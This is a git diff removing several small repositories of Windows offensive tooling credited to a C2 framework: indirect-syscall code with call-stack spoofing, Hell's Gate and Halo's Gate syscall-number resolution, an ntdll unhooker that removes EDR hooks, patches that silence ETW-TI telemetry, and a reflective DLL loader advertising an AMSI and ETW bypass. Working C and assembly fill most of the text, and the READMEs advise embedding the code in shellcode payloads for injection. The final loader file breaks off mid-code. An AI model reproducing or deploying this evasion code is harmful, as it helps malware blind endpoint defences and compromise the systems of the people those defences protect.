printf("[*] SSN NtAllocateVirtualMemory = 0x%04X\n", ssn_alloc);
|
||||
printf("[*] SSN NtProtectVirtualMemory = 0x%04X\n", ssn_prot);
|
||||
printf("[*] SSN NtFreeVirtualMemory = 0x%04X\n", ssn_free);
|
||||
printf("[*] SSN NtWriteVirtualMemory = 0x%04X\n", ssn_write);
|
||||
printf("[*] SSN NtOpenProcess = 0x%04X\n\n", ssn_open);
|
||||
|
||||
if (ssn_alloc == 0xFFFF || ssn_prot == 0xFFFF) {
|
||||
printf("[!] SSN resolve failed — Halo's Gate unable to find clean neighbor\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
* NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits,
|
||||
* RegionSize, AllocationType, Protect)
|
||||
*/
|
||||
HANDLE proc = (HANDLE)(LONG_PTR)-1; /* current process */
|
||||
PVOID base = NULL;
|
||||
SIZE_T sz = 0x1000;
|
||||
|
||||
NTSTATUS st = sc_call(ssn_alloc,
|
||||
(uintptr_t)proc,
|
||||
(uintptr_t)&base,
|
||||
0,
|
||||
(uintptr_t)&sz,
|
||||
(uintptr_t)(MEM_COMMIT | MEM_RESERVE),
|
||||
(uintptr_t)PAGE_READWRITE,
|
||||
0, 0, 0, 0, 0);
|
||||
|
||||
if (st != 0 || !base) {
|
||||
printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n", (unsigned)st);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] NtAllocateVirtualMemory: base=%p sz=0x%zX st=0x%08X\n",
|
||||
base, sz, (unsigned)st);
|
||||
|
||||
/* Write a recognizable marker — page is PAGE_READWRITE at this point */
|
||||
((BYTE *)base)[0] = 0xDE;
|
||||
((BYTE *)base)[1] = 0xAD;
|
||||
((BYTE *)base)[2] = 0xBE;
|
||||
((BYTE *)base)[3] = 0xEF;
|
||||
|
||||
/*
|
||||
* NtProtectVirtualMemory(ProcessHandle, BaseAddress, RegionSize,
|
||||
* NewProtect, OldProtect)
|
||||
*/
|
||||
PVOID pbase = base;
|
||||
SIZE_T psz = 0x1000;
|
||||
ULONG old = 0;
|
||||
|
||||
st = sc_call(ssn_prot,
|
||||
(uintptr_t)proc,
|
||||
(uintptr_t)&pbase,
|
||||
(uintptr_t)&psz,
|
||||
(uintptr_t)PAGE_EXECUTE_READ,
|
||||
(uintptr_t)&old,
|
||||
0, 0, 0, 0, 0, 0);
|
||||
|
||||
printf("[%c] NtProtectVirtualMemory: st=0x%08X old_prot=0x%lX\n",
|
||||
st == 0 ? '+' : '!', (unsigned)st, old);
|
||||
|
||||
/* Verify via VirtualQuery — does not go through ntdll hooks */
|
||||
MEMORY_BASIC_INFORMATION mbi = {0};
|
||||
VirtualQuery(base, &mbi, sizeof(mbi));
|
||||
printf("[*] VirtualQuery Protect = 0x%lX (expected 0x%lX = PAGE_EXECUTE_READ)\n",
|
||||
mbi.Protect, (ULONG)PAGE_EXECUTE_READ);
|
||||
|
||||
BOOL ok = (st == 0 && mbi.Protect == PAGE_EXECUTE_READ);
|
||||
printf("[%c] page is %s\n", ok ? '+' : '!',
|
||||
ok ? "PAGE_EXECUTE_READ — indirect syscalls working correctly"
|
||||
: "UNEXPECTED — check output above");
|
||||
|
||||
/* NtFreeVirtualMemory */
|
||||
PVOID fbase = base;
|
||||
SIZE_T fsz = 0;
|
||||
sc_call(ssn_free,
|
||||
(uintptr_t)proc,
|
||||
(uintptr_t)&fbase,
|
||||
(uintptr_t)&fsz,
|
||||
(uintptr_t)MEM_RELEASE,
|
||||
0, 0, 0, 0, 0, 0, 0);
|
||||
|
||||
return ok ? 0 : 1;
|
||||
}
|
||||
@@ -1,96 +0,0 @@
|
||||
#include "indirect_syscall.h"
|
||||
#include <windows.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
void *sc_gadget = NULL;
|
||||
void *sc_frame1 = NULL;
|
||||
void *sc_frame2 = NULL;
|
||||
|
||||
/* Scan ntdll/KernelBase .text for a byte sequence starting at min_off bytes in. */
|
||||
static BYTE *_find_seq(HMODULE h, const BYTE *seq, int seqlen, SIZE_T min_off)
|
||||
{
|
||||
if (!h) return NULL;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew);
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
if (memcmp(sec->Name, ".text", 5) != 0) continue;
|
||||
BYTE *base = (BYTE *)h + sec->VirtualAddress;
|
||||
SIZE_T sz = sec->Misc.VirtualSize;
|
||||
for (SIZE_T j = min_off; j + (SIZE_T)seqlen <= sz; j++) {
|
||||
int ok = 1;
|
||||
for (int k = 0; k < seqlen; k++)
|
||||
if (base[j + k] != seq[k]) { ok = 0; break; }
|
||||
if (ok) return base + j;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int sc_init(void)
|
||||
{
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
HMODULE kbase = GetModuleHandleA("KernelBase.dll");
|
||||
if (!ntdll) return -1;
|
||||
|
||||
/* syscall;ret = 0F 05 C3 */
|
||||
static const BYTE gadget_seq[] = { 0x0F, 0x05, 0xC3 };
|
||||
sc_gadget = _find_seq(ntdll, gadget_seq, 3, 0);
|
||||
if (!sc_gadget) return -1;
|
||||
|
||||
/* ret gadgets for call-stack spoofing — skip first few KB to stay in body code */
|
||||
static const BYTE ret_seq[] = { 0xC3 };
|
||||
if (kbase) sc_frame1 = _find_seq(kbase, ret_seq, 1, 0x2000);
|
||||
sc_frame2 = _find_seq(ntdll, ret_seq, 1, 0x3000);
|
||||
|
||||
/* fallback: both frames in ntdll if KernelBase ret not found */
|
||||
if (!sc_frame1) sc_frame1 = sc_frame2;
|
||||
if (!sc_frame2) return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint16_t sc_ssn(const char *name)
|
||||
{
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
if (!ntdll) return 0xFFFF;
|
||||
|
||||
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, name);
|
||||
if (!fn) return 0xFFFF;
|
||||
|
||||
/* Hell's Gate: stub is clean — read SSN from mov eax,<ssn> */
|
||||
if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8)
|
||||
return *(uint16_t *)(fn + 4);
|
||||
|
||||
/* Halo's Gate: stub is hooked — scan EAT for an unhooked neighbor */
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)ntdll;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)ntdll + dos->e_lfanew);
|
||||
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)
|
||||
((BYTE *)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
|
||||
|
||||
DWORD *names = (DWORD *)((BYTE *)ntdll + exp->AddressOfNames);
|
||||
DWORD *funcs = (DWORD *)((BYTE *)ntdll + exp->AddressOfFunctions);
|
||||
WORD *ords = (WORD *)((BYTE *)ntdll + exp->AddressOfNameOrdinals);
|
||||
|
||||
int idx = -1;
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
||||
if (strcmp((char *)((BYTE *)ntdll + names[i]), name) == 0) {
|
||||
idx = (int)i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (idx < 0) return 0xFFFF;
|
||||
|
||||
/* scan up to 32 neighbors in both directions */
|
||||
for (int d = 1; d <= 32; d++) {
|
||||
for (int s = -1; s <= 1; s += 2) {
|
||||
int ni = idx + s * d;
|
||||
if (ni < 0 || ni >= (int)exp->NumberOfNames) continue;
|
||||
BYTE *nb = (BYTE *)ntdll + funcs[ords[ni]];
|
||||
if (nb[0] == 0x4C && nb[1] == 0x8B && nb[2] == 0xD1 && nb[3] == 0xB8)
|
||||
return (uint16_t)(*(uint16_t *)(nb + 4) - (uint16_t)(s * d));
|
||||
}
|
||||
}
|
||||
return 0xFFFF;
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
/*
|
||||
* sc_call(ssn, a1..a11) — indirect syscall with 2-frame call-stack spoofing.
|
||||
*
|
||||
* On entry (Windows x64 ABI):
|
||||
* rcx = ssn (uint16_t syscall number)
|
||||
* rdx = a1 (1st Nt* arg)
|
||||
* r8 = a2
|
||||
* r9 = a3
|
||||
* [rsp+0x28] = a4
|
||||
* [rsp+0x30] = a5
|
||||
* [rsp+0x38] = a6
|
||||
* [rsp+0x40] = a7
|
||||
* [rsp+0x48] = a8
|
||||
* [rsp+0x50] = a9
|
||||
* [rsp+0x58] = a10
|
||||
* [rsp+0x60] = a11
|
||||
*
|
||||
* Stack layout after jmp (what the kernel / ETW stack walk sees):
|
||||
* [rsp+0x00] = sc_frame1 (ret in KernelBase .text — inner spoof frame)
|
||||
* [rsp+0x08] = sc_frame2 (ret in ntdll .text — outer spoof frame)
|
||||
* [rsp+0x10] = original return address back to our code
|
||||
*
|
||||
* Nt* ABI remapping performed:
|
||||
* rax = SSN, r10 = a1, rdx = a2, r8 = a3, r9 = a4
|
||||
* [rsp+0x28..0x58] = a5..a11
|
||||
*/
|
||||
|
||||
.text
|
||||
.extern sc_gadget
|
||||
.extern sc_frame1
|
||||
.extern sc_frame2
|
||||
|
||||
.global sc_call
|
||||
sc_call:
|
||||
/* Pre-save a5/a6 before touching the stack — their positions shift after subq */
|
||||
movq 0x30(%rsp), %r10
|
||||
movq 0x38(%rsp), %r11
|
||||
|
||||
/* Grow stack by 16 bytes: make room for 2 fake return addresses */
|
||||
subq $0x10, %rsp
|
||||
|
||||
/* Write spoof frames at the new top of stack */
|
||||
movq sc_frame2(%rip), %rax
|
||||
movq %rax, 0x08(%rsp) /* outer frame: ntdll ret gadget */
|
||||
movq sc_frame1(%rip), %rax
|
||||
movq %rax, 0x00(%rsp) /* inner frame: KernelBase ret gadget */
|
||||
|
||||
/* Store a5/a6 at their final positions ([rsp+0x28], [rsp+0x30]) */
|
||||
movq %r10, 0x28(%rsp)
|
||||
movq %r11, 0x30(%rsp)
|
||||
|
||||
/* Remap args to Nt* ABI: r10=a1, rdx=a2, r8=a3, r9=a4 */
|
||||
movq %rdx, %r10
|
||||
movq %r8, %rdx
|
||||
movq %r9, %r8
|
||||
movq 0x38(%rsp), %r9
|
||||
|
||||
/* Shift a7..a11 down by 0x10 into their final stack positions */
|
||||
movq 0x50(%rsp), %r11 ; movq %r11, 0x38(%rsp)
|
||||
movq 0x58(%rsp), %r11 ; movq %r11, 0x40(%rsp)
|
||||
movq 0x60(%rsp), %r11 ; movq %r11, 0x48(%rsp)
|
||||
movq 0x68(%rsp), %r11 ; movq %r11, 0x50(%rsp)
|
||||
movq 0x70(%rsp), %r11 ; movq %r11, 0x58(%rsp)
|
||||
|
||||
/* Load SSN into eax (lower 16 bits of rcx) */
|
||||
movzwl %cx, %eax
|
||||
|
||||
/* Indirect jump: execute syscall;ret inside ntdll — not our code */
|
||||
jmpq *sc_gadget(%rip)
|
||||
@@ -1,27 +0,0 @@
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -O2 -Wall -Wextra \
|
||||
-Iinclude \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-ident \
|
||||
-fno-stack-protector
|
||||
LDFLAGS = -lntdll
|
||||
|
||||
SRC = src/ntdll_unhook.c src/demo.c
|
||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
||||
TARGET = build/demo.exe
|
||||
|
||||
all: build $(TARGET)
|
||||
|
||||
build:
|
||||
mkdir -p build
|
||||
|
||||
build/%.o: src/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -rf build
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -1,112 +0,0 @@
|
||||
# ntdll-unhook
|
||||
|
||||
Restore ntdll.dll `.text` from a fresh disk mapping to remove EDR inline hooks. Also patches `EtwTi*` telemetry functions with a single `RET`.
|
||||
|
||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
||||
|
||||
---
|
||||
|
||||
## How it works
|
||||
|
||||
EDR products hook ntdll syscall stubs by overwriting the first bytes with a `JMP` to their trampoline:
|
||||
|
||||
```
|
||||
NtOpenProcess (hooked):
|
||||
E9 xx xx xx xx JMP <edr_hook>
|
||||
...
|
||||
|
||||
NtOpenProcess (clean):
|
||||
4C 8B D1 mov r10, rcx
|
||||
B8 26 00 00 00 mov eax, 0x26 ; SSN
|
||||
0F 05 syscall
|
||||
C3 ret
|
||||
```
|
||||
|
||||
### ntdll_unhook()
|
||||
|
||||
```
|
||||
CreateFileW(SystemDir\ntdll.dll, GENERIC_READ)
|
||||
|
|
||||
v
|
||||
CreateFileMappingW(PAGE_READONLY | SEC_IMAGE) <- kernel maps + validates PE
|
||||
|
|
||||
v
|
||||
MapViewOfFile(FILE_MAP_READ) <- clean image, no hooks
|
||||
|
|
||||
v
|
||||
walk .text section in disk image
|
||||
|
|
||||
v
|
||||
NtProtectVirtualMemory(live .text, PAGE_EXECUTE_READWRITE)
|
||||
memcpy(live .text, disk .text, VirtualSize)
|
||||
NtProtectVirtualMemory(live .text, original perms)
|
||||
```
|
||||
|
||||
Key: `SEC_IMAGE` tells the kernel to map the file as a PE image (applying relocations, verifying signature). The result is a clean in-memory copy of ntdll identical to what the Windows loader would produce — before any userland hooks are applied.
|
||||
|
||||
`NtProtectVirtualMemory` is used instead of `VirtualProtect` because `VirtualProtect` itself goes through ntdll and may be hooked.
|
||||
|
||||
### ntdll_patch_etw_ti()
|
||||
|
||||
Patches three functions in ntdll that feed the kernel ETW-TI (Threat Intelligence) provider:
|
||||
|
||||
| Function | Event |
|
||||
|---|---|
|
||||
| `EtwTiLogOpenProcess` | fires on `NtOpenProcess` |
|
||||
| `EtwTiLogReadWriteVm` | fires on `NtReadVirtualMemory` / `NtWriteVirtualMemory` |
|
||||
| `EtwTiLogDuplicateHandle` | fires on `NtDuplicateObject` |
|
||||
|
||||
Each is overwritten with `0xC3` (RET). These functions are in ntdll's `.text` section and do not require kernel interaction to patch.
|
||||
|
||||
---
|
||||
|
||||
## API
|
||||
|
||||
```c
|
||||
int ntdll_unhook(void); // restore .text — returns 0 on success, -1 on failure
|
||||
int ntdll_patch_etw_ti(void); // patch 3 EtwTi functions — returns count patched (0-3)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
make
|
||||
build/demo.exe
|
||||
```
|
||||
|
||||
Expected output on an unhooked system:
|
||||
|
||||
```
|
||||
[*] NtOpenProcess bytes before unhook:
|
||||
[before] 4C 8B D1 B8 26 00 00 00
|
||||
[*] ntdll_unhook() = 0 (OK)
|
||||
[*] NtOpenProcess bytes after unhook:
|
||||
[after ] 4C 8B D1 B8 26 00 00 00
|
||||
[+] stub is clean
|
||||
[*] ntdll_patch_etw_ti() patched 3/3 functions
|
||||
```
|
||||
|
||||
On an EDR-hooked system, `before` will show `E9 ...` (JMP trampoline) and `after` will show the clean syscall stub.
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
- Restores `.text` only — hooks in other sections (`.data`, import table patching) are not removed.
|
||||
- Does not re-register exception tables (`.pdata`) for the restored `.text`. If the EDR modified anything related to unwind data, this won't fix it.
|
||||
- `EtwTi*` patch survives ntdll reload but not process restart.
|
||||
- Some EDR products monitor `NtMapViewOfSection` for `SEC_IMAGE` mappings of system DLLs. Consider calling `ntdll_unhook` as early as possible (before EDR's DLL loads).
|
||||
|
||||
---
|
||||
|
||||
## Operational notes
|
||||
|
||||
Call order matters: unhook ntdll **before** patching ETW-TI, so `NtProtectVirtualMemory` calls in `ntdll_patch_etw_ti` go through a clean syscall stub.
|
||||
|
||||
For cross-process injection, unhook in the **target process** context by embedding this code in your shellcode or reflective DLL payload — not from the injector.
|
||||
|
||||
---
|
||||
|
||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
||||
Binary file not shown.
@@ -1,23 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*
|
||||
* ntdll_unhook()
|
||||
*
|
||||
* Restores the live ntdll.dll .text section from a fresh copy mapped
|
||||
* directly from disk using SEC_IMAGE (bypasses filesystem hooks).
|
||||
* Overwrites any userland inline hooks (e.g. EDR trampolines) with
|
||||
* clean bytes from the on-disk image.
|
||||
*
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*
|
||||
* ntdll_patch_etw_ti()
|
||||
*
|
||||
* Patches EtwTiLogOpenProcess, EtwTiLogReadWriteVm, EtwTiLogDuplicateHandle
|
||||
* with a single RET byte via NtProtectVirtualMemory, silencing ETW-TI
|
||||
* telemetry for process open / memory read-write / handle dup events.
|
||||
*
|
||||
* Returns number of functions patched (0-3).
|
||||
*/
|
||||
int ntdll_unhook(void);
|
||||
int ntdll_patch_etw_ti(void);
|
||||
@@ -1,50 +0,0 @@
|
||||
#include "ntdll_unhook.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
* Demo: read the first 6 bytes of NtOpenProcess before and after unhooking.
|
||||
*
|
||||
* A hooked stub looks like:
|
||||
* E9 xx xx xx xx xx JMP <EDR trampoline>
|
||||
*
|
||||
* A clean stub looks like:
|
||||
* 4C 8B D1 mov r10, rcx
|
||||
* B8 xx 00 00 00 mov eax, <SSN>
|
||||
* 0F 05 syscall
|
||||
* C3 ret
|
||||
*/
|
||||
static void print_bytes(const char *label, const BYTE *p, int n)
|
||||
{
|
||||
printf("[%s] ", label);
|
||||
for (int i = 0; i < n; i++) printf("%02X ", p[i]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, "NtOpenProcess");
|
||||
|
||||
printf("[*] NtOpenProcess bytes before unhook:\n");
|
||||
print_bytes("before", fn, 8);
|
||||
|
||||
int rc = ntdll_unhook();
|
||||
printf("[*] ntdll_unhook() = %d (%s)\n", rc, rc == 0 ? "OK" : "FAIL");
|
||||
|
||||
printf("[*] NtOpenProcess bytes after unhook:\n");
|
||||
print_bytes("after ", fn, 8);
|
||||
|
||||
/* Expected clean pattern: 4C 8B D1 B8 <SSN_LO> <SSN_HI> 00 00 */
|
||||
int clean = (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8);
|
||||
printf("[%s] stub is %s\n", clean ? "+" : "!", clean ? "clean" : "still hooked or unknown");
|
||||
|
||||
/* ETW-TI patch — only present on specific Windows builds (PPL/ETW-TI enabled) */
|
||||
int n = ntdll_patch_etw_ti();
|
||||
if (n > 0)
|
||||
printf("[+] ntdll_patch_etw_ti() patched %d/3 functions\n", n);
|
||||
else
|
||||
printf("[*] ntdll_patch_etw_ti(): EtwTi* exports not present on this build (normal on consumer SKUs)\n");
|
||||
|
||||
return clean ? 0 : 1;
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
#include "ntdll_unhook.h"
|
||||
#include <windows.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* PoC note: uses GetModuleHandleA/GetProcAddress with plaintext strings.
|
||||
* In production, replace with a PEB walk and encrypted string storage.
|
||||
* See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version.
|
||||
*/
|
||||
|
||||
/* NtProtectVirtualMemory — used instead of VirtualProtect to avoid
|
||||
* hooking the hook-removal function itself. */
|
||||
typedef NTSTATUS (NTAPI *NtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
|
||||
static NtPVM_t _get_ntpvm(void)
|
||||
{
|
||||
static NtPVM_t fn = NULL;
|
||||
if (!fn)
|
||||
fn = (NtPVM_t)(void *)GetProcAddress(
|
||||
GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
|
||||
return fn;
|
||||
}
|
||||
|
||||
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
|
||||
{
|
||||
NtPVM_t fn = _get_ntpvm();
|
||||
if (!fn) return FALSE;
|
||||
PVOID base = addr;
|
||||
SIZE_T rsz = sz;
|
||||
ULONG _old = 0;
|
||||
NTSTATUS st = fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
|
||||
if (old) *old = (DWORD)_old;
|
||||
return st == 0;
|
||||
}
|
||||
|
||||
int ntdll_unhook(void)
|
||||
{
|
||||
/* Build ntdll.dll path: GetSystemDirectoryW + \ntdll.dll */
|
||||
WCHAR path[MAX_PATH];
|
||||
UINT dir_len = GetSystemDirectoryW(path, MAX_PATH);
|
||||
if (!dir_len || dir_len > MAX_PATH - 12) return -1;
|
||||
|
||||
const WCHAR suffix[] = {
|
||||
L'\\',L'n',L't',L'd',L'l',L'l',L'.',L'd',L'l',L'l',L'\0'
|
||||
};
|
||||
for (int i = 0; suffix[i]; i++) path[dir_len + i] = suffix[i];
|
||||
path[dir_len + 10] = L'\0';
|
||||
|
||||
/* Map ntdll from disk via SEC_IMAGE — kernel validates the PE,
|
||||
* bypasses any filesystem filter hooks, gives us a clean image. */
|
||||
HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return -1;
|
||||
|
||||
HANDLE hMap = CreateFileMappingW(hFile, NULL,
|
||||
PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
|
||||
CloseHandle(hFile);
|
||||
if (!hMap) return -1;
|
||||
|
||||
LPVOID disk = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
|
||||
CloseHandle(hMap);
|
||||
if (!disk) return -1;
|
||||
|
||||
int rc = -1;
|
||||
|
||||
/* Get live ntdll base */
|
||||
HMODULE live = GetModuleHandleA("ntdll.dll");
|
||||
if (!live) goto cleanup;
|
||||
|
||||
/* Walk PE sections to find .text */
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)disk;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)disk + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) goto cleanup;
|
||||
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
if (memcmp(sec->Name, ".text", 5) != 0) continue;
|
||||
|
||||
LPVOID live_text = (BYTE *)live + sec->VirtualAddress;
|
||||
LPVOID disk_text = (BYTE *)disk + sec->VirtualAddress;
|
||||
SIZE_T text_sz = sec->Misc.VirtualSize;
|
||||
|
||||
DWORD old;
|
||||
if (!_nt_prot(live_text, text_sz, PAGE_EXECUTE_READWRITE, &old))
|
||||
break;
|
||||
memcpy(live_text, disk_text, text_sz);
|
||||
_nt_prot(live_text, text_sz, old, &old);
|
||||
rc = 0;
|
||||
break;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
UnmapViewOfFile(disk);
|
||||
return rc;
|
||||
}
|
||||
|
||||
int ntdll_patch_etw_ti(void)
|
||||
{
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
if (!ntdll) return 0;
|
||||
|
||||
/* ETW-TI functions that report process/memory/handle activity to the
|
||||
* kernel ETW provider — patching them suppresses cross-process telemetry. */
|
||||
static const char *targets[] = {
|
||||
"EtwTiLogOpenProcess",
|
||||
"EtwTiLogReadWriteVm",
|
||||
"EtwTiLogDuplicateHandle",
|
||||
};
|
||||
|
||||
int patched = 0;
|
||||
for (int i = 0; i < 3; i++) {
|
||||
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, targets[i]);
|
||||
if (!fn) continue;
|
||||
|
||||
DWORD old;
|
||||
if (!_nt_prot(fn, 1, PAGE_EXECUTE_READWRITE, &old)) continue;
|
||||
*fn = 0xC3; /* RET */
|
||||
_nt_prot(fn, 1, old, &old);
|
||||
patched++;
|
||||
}
|
||||
return patched;
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
build/
|
||||
*.o
|
||||
*.a
|
||||
@@ -1,28 +0,0 @@
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
CFLAGS = -O2 -Wall -Wextra \
|
||||
-Iinclude \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-ident \
|
||||
-fno-stack-protector
|
||||
LDFLAGS = -Wl,--file-alignment,0x1000
|
||||
|
||||
DLL_SRC = src/reflect.c src/example_dll.c
|
||||
EXE_SRC = examples/loader.c
|
||||
DLL_OUT = build/example.dll
|
||||
EXE_OUT = build/loader.exe
|
||||
|
||||
all: build $(DLL_OUT) $(EXE_OUT)
|
||||
|
||||
build:
|
||||
mkdir -p build
|
||||
|
||||
$(DLL_OUT): $(DLL_SRC)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -shared -o $@ $^
|
||||
|
||||
$(EXE_OUT): $(EXE_SRC)
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
|
||||
clean:
|
||||
rm -rf build
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -1,43 +0,0 @@
|
||||
# ShdwLdr
|
||||
|
||||
Reflective DLL loader for Windows x64. Maps a raw DLL from memory without the Windows loader.
|
||||
|
||||
By 28Zaaky — [KHAOS C2](https://github.com/28Zaaky/khaos-c2)
|
||||
|
||||
## Techniques
|
||||
|
||||
- Hash-based API resolution (ROR13, no plaintext strings)
|
||||
- Hell's Gate + Halos Gate + Tartarus Gate (direct syscalls, hooked stub recovery)
|
||||
- Per-section permissions via `NtProtectVirtualMemory` syscall
|
||||
- TLS callbacks + slot allocation before `DllMain`
|
||||
- `RtlAddFunctionTable` for x64 SEH
|
||||
- AMSI + ETW bypass
|
||||
- Header erasure, security cookie init
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \
|
||||
-fno-ident -fno-stack-protector -Wl,--file-alignment,0x1000 \
|
||||
-shared -o build/example.dll src/reflect.c src/example_dll.c
|
||||
|
||||
x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \
|
||||
-fno-ident -fno-stack-protector -o build/loader.exe examples/loader.c
|
||||
```
|
||||
|
||||
> `--file-alignment,0x1000` : `PointerToRawData == VirtualAddress` — required for RIP-relative access while running from the raw buffer.
|
||||
|
||||
## Usage
|
||||
|
||||
```c
|
||||
uint8_t *mem = VirtualAlloc(NULL, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(mem, raw_dll, sz);
|
||||
typedef ULONG_PTR (WINAPI *RL_t)(LPVOID);
|
||||
ULONG_PTR base = ((RL_t)find_export(mem, "ReflectiveLoader"))(mem);
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
- x64 only. No module list entry added.
|
||||
- Module stomping disabled — `LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES)` calls `DllMain` on Win10+. Needs `NtMapViewOfSection`.
|
||||
- `_rl_dbg` export contains runtime telemetry (SSNs, alloc method) — strip for production.
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,225 +0,0 @@
|
||||
// Example loader for the reflective DLL.
|
||||
// It reads the raw DLL from disk, copies it into RWX memory,
|
||||
// finds ReflectiveLoader in the raw image, and calls it.
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
// convert a raw RVA to a raw file offset
|
||||
static DWORD rva_to_off(const uint8_t *buf, const IMAGE_NT_HEADERS *nt, DWORD rva)
|
||||
{
|
||||
const IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
WORD nsec = nt->FileHeader.NumberOfSections;
|
||||
for (WORD i = 0; i < nsec; i++)
|
||||
{
|
||||
if (rva >= sec[i].VirtualAddress &&
|
||||
rva < sec[i].VirtualAddress + sec[i].SizeOfRawData)
|
||||
return rva - sec[i].VirtualAddress + sec[i].PointerToRawData;
|
||||
}
|
||||
return 0;
|
||||
(void)buf;
|
||||
}
|
||||
|
||||
// find an export in the raw DLL buffer and return the function address in memory
|
||||
static LPVOID find_export_in_raw(const uint8_t *buf, size_t bufsz,
|
||||
const uint8_t *mem, const char *name)
|
||||
{
|
||||
if (bufsz < sizeof(IMAGE_DOS_HEADER))
|
||||
return NULL;
|
||||
const IMAGE_DOS_HEADER *dos = (const IMAGE_DOS_HEADER *)buf;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
const IMAGE_NT_HEADERS *nt = (const IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
DWORD expRva = nt->OptionalHeader
|
||||
